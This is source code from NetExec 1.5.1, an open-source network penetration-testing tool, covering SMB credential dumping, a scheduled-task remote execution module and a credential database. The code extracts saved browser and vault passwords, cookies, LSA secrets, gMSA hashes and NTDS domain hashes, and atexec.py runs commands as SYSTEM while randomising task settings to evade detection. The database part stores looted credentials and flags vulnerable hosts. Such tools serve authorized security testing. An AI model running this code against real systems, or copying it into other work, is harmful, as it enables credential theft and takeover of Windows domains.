) elif isinstance(secret, Cookie): line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}" self.logger.highlight(line) if self.output_file: self.output_file.write(line + "\n") try: browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback) browser_triage.triage_browsers(gather_cookies=dump_cookies) except Exception as e: self.logger.debug(f"Error while looting browsers: {e}") def vault_callback(secret): tag = "IEX" if secret.type == "Internet Explorer": resource = secret.resource + " -" if secret.resource != "" else "-" line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}" self.logger.highlight(line) if self.output_file: self.output_file.write(line + "\n") self.db.add_dpapi_secrets( target.address, tag, secret.winuser, secret.username, secret.password, secret.resource, ) try: # Collect User Internet Explorer stored secrets vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback) vaults_triage.triage_vaults() except Exception as e: self.logger.debug(f"Error while looting vaults: {e}") def firefox_callback(secret): tag = "FIREFOX" if isinstance(secret, FirefoxData): url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}" self.logger.highlight(line) if self.output_file: self.output_file.write(line + "\n") self.db.add_dpapi_secrets( target.address, tag, secret.winuser, secret.username, secret.password, secret.url, ) elif isinstance(secret, FirefoxCookie): line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}" self.logger.highlight(line) if self.output_file: self.output_file.write(line + "\n") try: # Collect Firefox stored secrets firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback) firefox_triage.run(gather_cookies=dump_cookies) except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") if self.output_file: self.output_file.close() @requires_admin def list_snapshots(self): drive = self.args.list_snapshots self.logger.info(f"Retrieving volume shadow copies of drive {drive}.") snapshots = self.conn.listSnapshots(self.conn.connectTree(drive), "/") if not snapshots: self.logger.info("No volume shadow copies found.") return self.logger.highlight(f"{'Drive':<8}{'Shadow Copies GMT SMB PATH':<26}") self.logger.highlight(f"{'------':<8}{'--------------------------':<26}") for i in snapshots: self.logger.highlight(f"{drive:<8}{i:<26}") @requires_admin def lsa(self): try: self.enable_remoteops(regsecret=(self.args.lsa == "regdump")) def add_lsa_secret(secret): add_lsa_secret.secrets += 1 self.logger.highlight(secret) if "_SC_GMSA_{84A78B8C" in secret: gmsa_id = secret.split("_")[4].split(":")[0] data = bytes.fromhex(secret.split("_")[4].split(":")[1]) blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(data) currentPassword = blob["CurrentPassword"][:-2] ntlm_hash = MD4.new() ntlm_hash.update(currentPassword) passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") add_lsa_secret.secrets = 0 if self.remote_ops and self.bootkey: if self.args.lsa == "regdump": LSA = RegSecretsLSASecrets( self.bootkey, self.remote_ops, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), ) else: SECURITYFileName = self.remote_ops.saveSECURITY() LSA = LSASecrets( SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), ) self.logger.display("Dumping LSA secrets") self.output_filename = self.output_file_template.format(output_folder="lsa") LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) LSA.dumpSecrets() LSA.exportSecrets(self.output_filename) self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") try: self.remote_ops.finish() except Exception as e: self.logger.debug(f"Error calling remote_ops.finish(): {e}") if self.args.lsa == "secdump": LSA.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping LSA. This is likely due to an endpoint protection.') except Exception as e: self.logger.exception(str(e)) def ntds(self): self.enable_remoteops() use_vss_method = False NTDSFileName = None host_id = self.db.get_hosts(filter_term=self.host)[0][0] printed_kerb_keys_banner = False def add_hash(secret_type, secret, host_id): nonlocal printed_kerb_keys_banner if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS: self.logger.display("Kerberos keys:") printed_kerb_keys_banner = True # Count the type of secrets if secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS: add_hash.kerb_secrets += 1 else: add_hash.nt_lm_secrets += 1 # Log the secret based on args if self.args.enabled: if "Enabled" in secret: secret = " ".join(secret.split(" ")[:-1]) self.logger.highlight(secret) else: secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret self.logger.highlight(secret) # Filter out computer accounts, history hashes and kerberos keys for adding to db if secret.find("$") == -1 and secret_type == NTDSHashes.SECRET_TYPE.NTDS and "_history" not in secret: if secret.find("\\") != -1: domain, clean_hash = secret.split("\\") else: domain = self.domain clean_hash = secret try: username, _, lmhash, nthash, _, _, _ = clean_hash.split(":") parsed_hash = f"{lmhash}:{nthash}" if validate_ntlm(parsed_hash): self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) add_hash.added_to_db += 1 return raise except Exception: self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: self.logger.debug("Dumped hash is a computer account, not adding to db") add_hash.nt_lm_secrets = 0 add_hash.kerb_secrets = 0 add_hash.added_to_db = 0 if self.remote_ops: try: if self.args.ntds == "vss": NTDSFileName = self.remote_ops.saveNTDS() use_vss_method = True except Exception as e: self.logger.fail(e) self.output_filename = self.output_file_template.format(output_folder="ntds") NTDS = NTDSHashes( NTDSFileName, self.bootkey, isRemote=True, history=self.args.history, noLMHash=True, remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=not self.args.kerberos_keys, pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename, justUser=self.args.userntds if self.args.userntds else None, printUserStatus=True, perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id), ) try: self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() ntds_outfile = f"{self.output_filename}.ntds" self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database") if self.args.kerberos_keys: self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos") self.logger.display("To extract only enabled accounts from the output file, run the following command: ") self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") except Exception as e: # if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. # if resumeFile is not None: self.logger.fail(e) try: self.remote_ops.finish() except Exception as e: self.logger.debug(f"Error calling remote_ops.finish(): {e}") NTDS.finish() def mark_guest(self): return highlight(f"{highlight('(Guest)')}" if self.is_guest else "") NetExec-1.5.1/nxc/protocols/smb/000077500000000000000000000000001514706431700164565ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/smb/__init__.py000077500000000000000000000000001514706431700205600ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/smb/atexec.py000077500000000000000000000263071514706431700203140ustar00rootroot00000000000000import os import random from textwrap import dedent from impacket.dcerpc.v5 import tsch, transport from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from nxc.helpers.misc import gen_random_string from time import sleep from datetime import datetime, timedelta class TSCH_EXEC: def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None, # These options are used by the schtask_as module, except the run_task_as # that defaults to NT AUTHORITY\System user (SID S-1-5-18) if not specified run_task_as="S-1-5-18", run_cmd=None, output_filename=None, task_name=None, output_file_location=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__share_name = share_name self.__lmhash = "" self.__nthash = "" self.__outputBuffer = b"" self.__retOutput = False self.__aesKey = aesKey self.__doKerberos = doKerberos self.__remoteHost = remoteHost self.__kdcHost = kdcHost self.__tries = tries self.__output_filename = None self.__share = share self.logger = logger # Optional args for finetuning the task execution, e.g. used in nxc/modules/schtask_as.py self.task_name = task_name if task_name else gen_random_string(8) self.run_task_as = run_task_as self.run_cmd = run_cmd self.output_filename = output_filename self.output_file_location = output_file_location if hashes is not None: # This checks to see if we didn't provide the LM Hash if hashes.find(":") != -1: self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: self.__password = "" stringbinding = rf"ncacn_np:{self.__target}[\pipe\atsvc]" self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.setRemoteHost(self.__remoteHost) if hasattr(self.__rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. self.__rpctransport.set_credentials( self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, ) self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) def execute(self, command, output=False): self.__retOutput = output self.execute_handler(command) return self.__outputBuffer def output_callback(self, data): self.__outputBuffer = data def get_end_boundary(self): # Get current date and time + 1 day end_boundary = datetime.now() + timedelta(days=1) # Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss" return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] def gen_xml(self, command): # Random setting order to help with detection settings = [ " false", " IgnoreNew", " true", " false", " false" ] random.shuffle(settings) randomized_settings = "\n".join(settings) settings2 = [ " true", " true", " true", " false", " false", " 7", " P3D" ] random.shuffle(settings2) randomized_settings2 = "\n".join(settings2) idleSettings = [ " true", " false" ] random.shuffle(idleSettings) randomized_idleSettings = "\n".join(idleSettings) random_cmd_path = [ "cmd", "cmd.exe", "C:\\Windows\\System32\\cmd", "C:\\Windows\\System32\\cmd.exe", "C:\\Windows\\System32\\..\\System32\\cmd", "C:\\Windows\\System32\\..\\System32\\cmd.exe", "C:\\Windows\\..\\Windows\\System32\\cmd", "C:\\Windows\\..\\Windows\\System32\\cmd.exe", ] cmd_path = random.choice(random_cmd_path) random_cmd_arg = ["/c", "/C", "/Q /c", "/F:ON /c", "/T:fg /c", "/T:fg /Q /C", "/F:ON /Q /C"] full_command = f"{random.choice(random_cmd_arg)} {command}" xml = f""" {self.get_end_boundary()} {self.run_task_as} HighestAvailable {randomized_settings} {randomized_idleSettings} {randomized_settings2} {cmd_path} """ if self.__retOutput: file_location = "\\Windows\\Temp\\" if self.output_file_location is None else self.output_file_location if self.output_filename is None: self.__output_filename = os.path.join(file_location, gen_random_string(8)) else: self.__output_filename = os.path.join(file_location, self.output_filename) argument_xml = f" {full_command} > {self.__output_filename} 2>&1" elif self.__retOutput is False: argument_xml = f" {full_command}" self.logger.debug("Generated argument XML: " + argument_xml) xml += argument_xml xml += """ """ # Removing identation for the final XML file return dedent(xml) def execute_handler(self, command): dce = self.__rpctransport.get_dce_rpc() if self.__doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() xml = self.gen_xml(command) self.logger.debug(f"Task XML: {xml}") self.logger.info(f"Creating task \\{self.task_name}") try: # Windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tsch.hSchRpcRegisterTask(dce, f"\\{self.task_name}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) except Exception as e: if e.error_code and hex(e.error_code) == "0x80070005": self.logger.fail("Task scheduling was blocked.") elif e.error_code and hex(e.error_code) == "0x80070534": self.logger.fail(f"User {self.run_task_as} does not have a valid winstation, cannot run the task on its behalf.") else: self.logger.fail(str(e)) return try: done = False while not done: self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}") resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}") if resp["pLastRuntime"]["wYear"] != 0: done = True else: sleep(2) except tsch.DCERPCSessionError as e: self.logger.fail(f"Error retrieving task last run info: {e}") self.logger.info(f"Deleting task \\{self.task_name}") tsch.hSchRpcDelete(dce, f"\\{self.task_name}") if self.__retOutput: smbConnection = self.__rpctransport.get_smb_connection() tries = 1 # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing sleep(0.4) while True: try: self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}") smbConnection.getFile(self.__share, self.__output_filename, self.output_callback) break except Exception as e: if tries >= self.__tries: self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") break if "STATUS_BAD_NETWORK_NAME" in str(e): self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)") break elif "STATUS_VIRUS_INFECTED" in str(e): self.logger.fail("Command did not run because a virus was detected") break # When executing PowerShell and the command is still running, we get a sharing violation # We can use that information to wait longer than if the file is not found (probably av or something) if "STATUS_SHARING_VIOLATION" in str(e): self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...") tries += 10 sleep(1) else: self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}") smbConnection.deleteFile(self.__share, self.__output_filename) except Exception: pass dce.disconnect() NetExec-1.5.1/nxc/protocols/smb/database.py000077500000000000000000001070141514706431700206020ustar00rootroot00000000000000import base64 import threading import warnings from datetime import datetime from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import ( SAWarning ) from sqlalchemy.orm import declarative_base from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger # if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings warnings.filterwarnings("ignore", category=SAWarning) BaseTable = declarative_base() class database(BaseDB): def __init__(self, db_engine): self.HostsTable = None self.UsersTable = None self.GroupsTable = None self.SharesTable = None self.AdminRelationsTable = None self.GroupRelationsTable = None self.LoggedinRelationsTable = None self.ConfChecksTable = None self.ConfChecksResultsTable = None self.DpapiBackupkeyTable = None self.DpapiSecretsTable = None self._lock = threading.Lock() super().__init__(db_engine) # Table declaration class Host(BaseTable): __tablename__ = "hosts" id = Column(Integer) ip = Column(String) hostname = Column(String) domain = Column(String) os = Column(String) dc = Column(Boolean) smbv1 = Column(Boolean) signing = Column(Boolean) spooler = Column(Boolean) zerologon = Column(Boolean) petitpotam = Column(Boolean) __table_args__ = ( PrimaryKeyConstraint("id"), UniqueConstraint("ip"), ) class ConfCheck(BaseTable): __tablename__ = "conf_checks" id = Column(Integer) name = Column(String) description = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ) class ConfCheckResult(BaseTable): __tablename__ = "conf_checks_results" id = Column(Integer) host_id = Column(Integer) check_id = Column(Integer) secure = Column(Boolean) reasons = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["host_id"], ["hosts.id"]), ForeignKeyConstraint(["check_id"], ["conf_checks.id"]), ) class User(BaseTable): __tablename__ = "users" id = Column(Integer) domain = Column(String) username = Column(String) password = Column(String) credtype = Column(String) pillaged_from_hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["pillaged_from_hostid"], ["hosts.id"]), ) class Group(BaseTable): __tablename__ = "groups" id = Column(Integer) domain = Column(String) name = Column(String) rid = Column(String) member_count_ad = Column(Integer) last_query_time = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), ) class AdminRelation(BaseTable): __tablename__ = "admin_relations" id = Column(Integer) userid = Column(Integer) hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["userid"], ["users.id"]), ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) class GroupRelation(BaseTable): __tablename__ = "group_relations" id = Column(Integer) userid = Column(Integer) groupid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["userid"], ["users.id"]), ForeignKeyConstraint(["groupid"], ["groups.id"]), ) class Share(BaseTable): __tablename__ = "shares" id = Column(Integer) hostid = Column(Integer) userid = Column(Integer) name = Column(String) remark = Column(String) read = Column(Boolean) write = Column(Boolean) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["hostid"], ["hosts.id"]), ForeignKeyConstraint(["userid"], ["users.id"]), UniqueConstraint("hostid", "userid", "name"), ) class LoggedInRelation(BaseTable): __tablename__ = "loggedin_relations" id = Column(Integer) userid = Column(Integer) hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["userid"], ["users.id"]), ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) class DpapiSecret(BaseTable): __tablename__ = "dpapi_secrets" id = Column(Integer) host = Column(String) dpapi_type = Column(String) windows_user = Column(String) username = Column(String) password = Column(String) url = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"), ) class DpapiBackupKey(BaseTable): __tablename__ = "dpapi_backupkey" id = Column(Integer) domain = Column(String) pvk = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), UniqueConstraint("domain"), ) @staticmethod def db_schema(db_conn): BaseTable.metadata.create_all(db_conn) def reflect_tables(self): self.HostsTable = self.reflect_table(self.Host) self.UsersTable = self.reflect_table(self.User) self.GroupsTable = self.reflect_table(self.Group) self.SharesTable = self.reflect_table(self.Share) self.AdminRelationsTable = self.reflect_table(self.AdminRelation) self.GroupRelationsTable = self.reflect_table(self.GroupRelation) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret) self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey) self.ConfChecksTable = self.reflect_table(self.ConfCheck) self.ConfChecksResultsTable = self.reflect_table(self.ConfCheckResult) # pull/545 def add_host( self, ip, hostname, domain, os, smbv1, signing, spooler=None, zerologon=None, petitpotam=None, dc=None, ): """Check if this host has already been added to the database, if not, add it in.""" hosts = [] updated_ids = [] q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) results = self.db_execute(q).all() # create new host if not results: new_host = { "ip": ip, "hostname": hostname, "domain": domain, "os": os if os is not None else "", "dc": dc, "smbv1": smbv1, "signing": signing, "spooler": spooler, "zerologon": zerologon, "petitpotam": petitpotam, } hosts = [new_host] # update existing hosts data else: for host in results: host_data = host._asdict() # only update column if it is being passed in if ip is not None: host_data["ip"] = ip if hostname is not None: host_data["hostname"] = hostname if domain is not None: host_data["domain"] = domain if os is not None: host_data["os"] = os if smbv1 is not None: host_data["smbv1"] = smbv1 if signing is not None: host_data["signing"] = signing if spooler is not None: host_data["spooler"] = spooler if zerologon is not None: host_data["zerologon"] = zerologon if petitpotam is not None: host_data["petitpotam"] = petitpotam if dc is not None: host_data["dc"] = dc # only add host to be updated if it has changed if host_data not in hosts: hosts.append(host_data) updated_ids.append(host_data["id"]) nxc_logger.debug(f"Update Hosts: {hosts}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns) self.db_execute(q, hosts) # .scalar() # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted if updated_ids: nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") return updated_ids def add_credential(self, credtype, domain, username, password, group_id=None, pillaged_from=None): """Check if this credential has already been added to the database, if not add it in.""" credentials = [] groups = [] if (group_id and not self.is_group_valid(group_id)) or (pillaged_from and not self.is_host_valid(pillaged_from)): nxc_logger.debug("Invalid group or host") return q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), func.lower(self.UsersTable.c.credtype) == func.lower(credtype), ) results = self.db_execute(q).all() # add new credential if not results: new_cred = { "credtype": credtype, "domain": domain, "username": username, "password": password, "groupid": group_id, "pillaged_from": pillaged_from, } credentials = [new_cred] # update existing cred data else: for creds in results: # this will include the id, so we don't touch it cred_data = creds._asdict() # only update column if it is being passed in if credtype is not None: cred_data["credtype"] = credtype if domain is not None: cred_data["domain"] = domain if username is not None: cred_data["username"] = username if password is not None: cred_data["password"] = password if group_id is not None: cred_data["groupid"] = group_id groups.append({"userid": cred_data["id"], "groupid": group_id}) if pillaged_from is not None: cred_data["pillaged_from"] = pillaged_from # only add cred to be updated if it has changed if cred_data not in credentials: credentials.append(cred_data) # TODO: find a way to abstract this away to a single Upsert call q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users) nxc_logger.debug(f"Adding credentials: {credentials}") self.db_execute(q_users, credentials) # .scalar() if groups: q_groups = Insert(self.GroupRelationsTable) self.db_execute(q_groups, groups) def remove_credentials(self, creds_id): """Removes a credential ID from the database""" self.db_execute(delete(self.UsersTable).where(self.UsersTable.c.id.in_(creds_id))) def add_admin_user(self, credtype, domain, username, password, host, user_id=None): add_links = [] creds_q = select(self.UsersTable) creds_q = creds_q.filter(self.UsersTable.c.id == user_id) if user_id else creds_q.filter( func.lower(self.UsersTable.c.credtype) == func.lower(credtype), func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), self.UsersTable.c.password == password) users = self.db_execute(creds_q) hosts = self.get_hosts(host) if users and hosts: nxc_logger.debug(f"users: {users}, hosts: {hosts}") for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] link = {"userid": user_id, "hostid": host_id} admin_relations_select = select(self.AdminRelationsTable).filter( self.AdminRelationsTable.c.userid == user_id, self.AdminRelationsTable.c.hostid == host_id, ) links = self.db_execute(admin_relations_select).all() if not links: add_links.append(link) admin_relations_insert = Insert(self.AdminRelationsTable) if add_links: self.db_execute(admin_relations_insert, add_links) def get_admin_relations(self, user_id=None, host_id=None): if user_id: q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id) elif host_id: q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id) else: q = select(self.AdminRelationsTable) return self.db_execute(q).all() def remove_admin_relation(self, user_ids=None, host_ids=None): q = delete(self.AdminRelationsTable) if user_ids: for user_id in user_ids: q = q.filter(self.AdminRelationsTable.c.userid == user_id) elif host_ids: for host_id in host_ids: q = q.filter(self.AdminRelationsTable.c.hostid == host_id) self.db_execute(q) def is_credential_valid(self, credential_id): """Check if this credential ID is valid.""" q = select(self.UsersTable).filter( self.UsersTable.c.id == credential_id, self.UsersTable.c.password is not None, ) results = self.db_execute(q).all() return len(results) > 0 def get_credentials(self, filter_term=None, cred_type=None): """Return credentials from the database.""" # if we're returning a single credential by ID if self.is_credential_valid(filter_term): q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) elif cred_type: q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.UsersTable) return self.db_execute(q).all() def get_credential(self, cred_type, domain, username, password): q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, self.UsersTable.c.username == username, self.UsersTable.c.password == password, self.UsersTable.c.credtype == cred_type, ) results = self.db_execute(q).first() return results.id def is_credential_local(self, credential_id): q = select(self.UsersTable.c.domain).filter(self.UsersTable.c.id == credential_id) user_domain = self.db_execute(q).all() if user_domain: q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain)) results = self.db_execute(q).all() return len(results) > 0 def is_host_valid(self, host_id): """Check if this host ID is valid.""" q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.db_execute(q).all() return len(results) > 0 def get_hosts(self, filter_term=None, domain=None): """Return hosts from the database.""" q = select(self.HostsTable) # if we're returning a single host by ID if self.is_host_valid(filter_term): q = q.filter(self.HostsTable.c.id == filter_term) results = self.db_execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # if we're filtering by domain controllers elif filter_term == "dc": q = q.filter(self.HostsTable.c.dc == True) # noqa: E712 if domain: q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain)) elif filter_term == "signing": # generally we want hosts that are vulnerable, so signing disabled q = q.filter(self.HostsTable.c.signing == False) # noqa: E712 elif filter_term == "spooler": q = q.filter(self.HostsTable.c.spooler == True) # noqa: E712 elif filter_term == "zerologon": q = q.filter(self.HostsTable.c.zerologon == True) # noqa: E712 elif filter_term == "petitpotam": q = q.filter(self.HostsTable.c.petitpotam == True) # noqa: E712 elif filter_term is not None and filter_term.startswith("domain"): domain = filter_term.split()[1] like_term = func.lower(f"%{domain}%") q = q.filter(self.HostsTable.c.domain.like(like_term)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) results = self.db_execute(q).all() nxc_logger.debug(f"smb hosts() - results: {results}") return results def is_group_valid(self, group_id): """Check if this group ID is valid.""" q = select(self.GroupsTable).filter(self.GroupsTable.c.id == group_id) results = self.db_execute(q).first() valid = bool(results) nxc_logger.debug(f"is_group_valid(groupID={group_id}) => {valid}") return valid def add_group(self, domain, name, rid=None, member_count_ad=None): results = self.get_groups(group_name=name, group_domain=domain) groups = [] updated_ids = [] group_data = { "domain": domain, "name": name, "rid": rid, "member_count_ad": member_count_ad, "last_query_time": None, } if not results: if member_count_ad is not None: group_data["member_count_ad"] = member_count_ad today = datetime.now() iso_date = today.isoformat() group_data["last_query_time"] = iso_date groups = [group_data] # insert the group and get the returned id right away, this can be refactored when we can use RETURNING q = Insert(self.GroupsTable) self.db_execute(q, groups) new_group_data = self.get_groups(group_name=group_data["name"], group_domain=group_data["domain"]) returned_id = [new_group_data[0].id] nxc_logger.debug(f"Inserted group with ID: {returned_id[0]}") return returned_id else: for group in results: g_data = group._asdict() if domain is not None: g_data["domain"] = domain if name is not None: g_data["name"] = name if rid is not None: g_data["rid"] = rid if member_count_ad is not None: g_data["member_count_ad"] = member_count_ad today = datetime.now() iso_date = today.isoformat() g_data["last_query_time"] = iso_date # only add it to the upsert query if it's changed to save query execution time if g_data not in groups: groups.append(g_data) updated_ids.append(g_data["id"]) nxc_logger.debug(f"Update Groups: {groups}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.GroupsTable) # .returning(self.GroupsTable.c.id) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update(index_elements=self.GroupsTable.primary_key, set_=update_columns) self.db_execute(q, groups) # TODO: always return a list and fix code references to not expect a single integer # if updated_ids: nxc_logger.debug(f"Updated groups with IDs: {updated_ids}") return updated_ids def get_groups(self, filter_term=None, group_name=None, group_domain=None): """Return groups from the database""" if filter_term and self.is_group_valid(filter_term): q = select(self.GroupsTable).filter(self.GroupsTable.c.id == filter_term) results = self.db_execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] elif group_name and group_domain: q = select(self.GroupsTable).filter( func.lower(self.GroupsTable.c.name) == func.lower(group_name), func.lower(self.GroupsTable.c.domain) == func.lower(group_domain), ) elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = select(self.GroupsTable).filter(self.GroupsTable.c.name.like(like_term)) else: q = select(self.GroupsTable).filter() results = self.db_execute(q).all() nxc_logger.debug(f"get_groups(filter_term={filter_term}, groupName={group_name}, groupDomain={group_domain}) => {results}") return results def get_group_relations(self, user_id=None, group_id=None): if user_id and group_id: q = select(self.GroupRelationsTable).filter( self.GroupRelationsTable.c.id == user_id, self.GroupRelationsTable.c.groupid == group_id, ) elif user_id: q = select(self.GroupRelationsTable).filter(self.GroupRelationsTable.c.id == user_id) elif group_id: q = select(self.GroupRelationsTable).filter(self.GroupRelationsTable.c.groupid == group_id) return self.db_execute(q).all() def remove_group_relations(self, user_id=None, group_id=None): q = delete(self.GroupRelationsTable) if user_id: q = q.filter(self.GroupRelationsTable.c.userid == user_id) elif group_id: q = q.filter(self.GroupRelationsTable.c.groupid == group_id) self.db_execute(q) def is_user_valid(self, user_id): """Check if this User ID is valid.""" q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id) results = self.db_execute(q).all() return len(results) > 0 def get_users(self, filter_term=None): q = select(self.UsersTable) if self.is_user_valid(filter_term): q = q.filter(self.UsersTable.c.id == filter_term) # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = q.filter(func.lower(self.UsersTable.c.username).like(like_term)) return self.db_execute(q).all() def get_user(self, domain, username): q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), ) return self.db_execute(q).all() def get_domain_controllers(self, domain=None): return 